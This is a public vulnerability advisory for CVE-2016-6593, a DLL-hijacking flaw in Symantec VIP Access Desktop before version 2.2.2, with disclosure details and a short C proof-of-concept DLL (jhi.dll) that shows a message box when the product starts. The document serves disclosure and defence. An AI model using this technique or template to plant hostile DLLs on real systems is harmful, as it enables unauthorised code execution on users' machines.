Symantec VIP Access Arbitrary DLL Execution

Related Vulnerabilities: CVE-2016-6593  
Publish Date: 09 Dec 2016
                							

                [+] Credits: John Page aka hyp3rlinx  

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/SYMANTEC-VIP-ACCESS-ARBITRARY-DLL-EXECUTION.txt

[+] ISR: ApparitionSec



Vendor:
================
www.symantec.com



Product:
===================
Symantec VIP Access
Desktop versions prior to 2.2.2


Vulnerability Type:
=======================
Arbitrary DLL Execution



CVE Reference:
==============
CVE-2016-6593



Vulnerability Details:
=====================

VIP Access Desktop UI Manager invokes DLLs from the current working folder during startup. A malicious local user can create
specifically modified DLLs to replace the normal product DLLs required during startup.

Then, by redirecting the startup path of the VIP Access Desktop UI Manager the user can cause the VIP Access Desktop
UI Manager to invoke the substituted DLL instead of the required product DLL. Any specifically modified code execution
could be performed with logged-on user privileges, which is normally user-level access in currently supported operating systems.
Ultimately, this problem is caused by a failure to properly validate required product DLLs during start-up.

This could result in a local user being able to manipulate VIP Access Desktop to load and execute an arbitrary DLL of the users
choice with user-level privileges.

Problem is that Symantec creates a shortcut under start list menu with an empty "Start" field under its properties,
if that shortcut exists on desktop and one of the above DLL also exists on users desktop arbitrary code execution will occur. 


Vulnerable DLLs:
jhi.dll
otpiha.dll


Reference:
https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20161208_00



Exploit code:
=============

Create "jhi.dll"

#include<windows.h>

//gcc -c jhi.c
//gcc -shared -o jhi.dll jhi.o

BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){
  switch (reason) {
  case DLL_PROCESS_ATTACH:
    MessageBox(NULL, "Code Execution!", "hyp3rlinx", MB_OK);  
    break;
  }

return 0;
}


1) Run Symantec VIP Access
2) BOOM!


Disclosure Timeline:
======================================
Vendor Notification:  February 4, 2016
December 8, 2016  : Public Disclosure



Exploitation Technique:
=======================
Local



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
<p>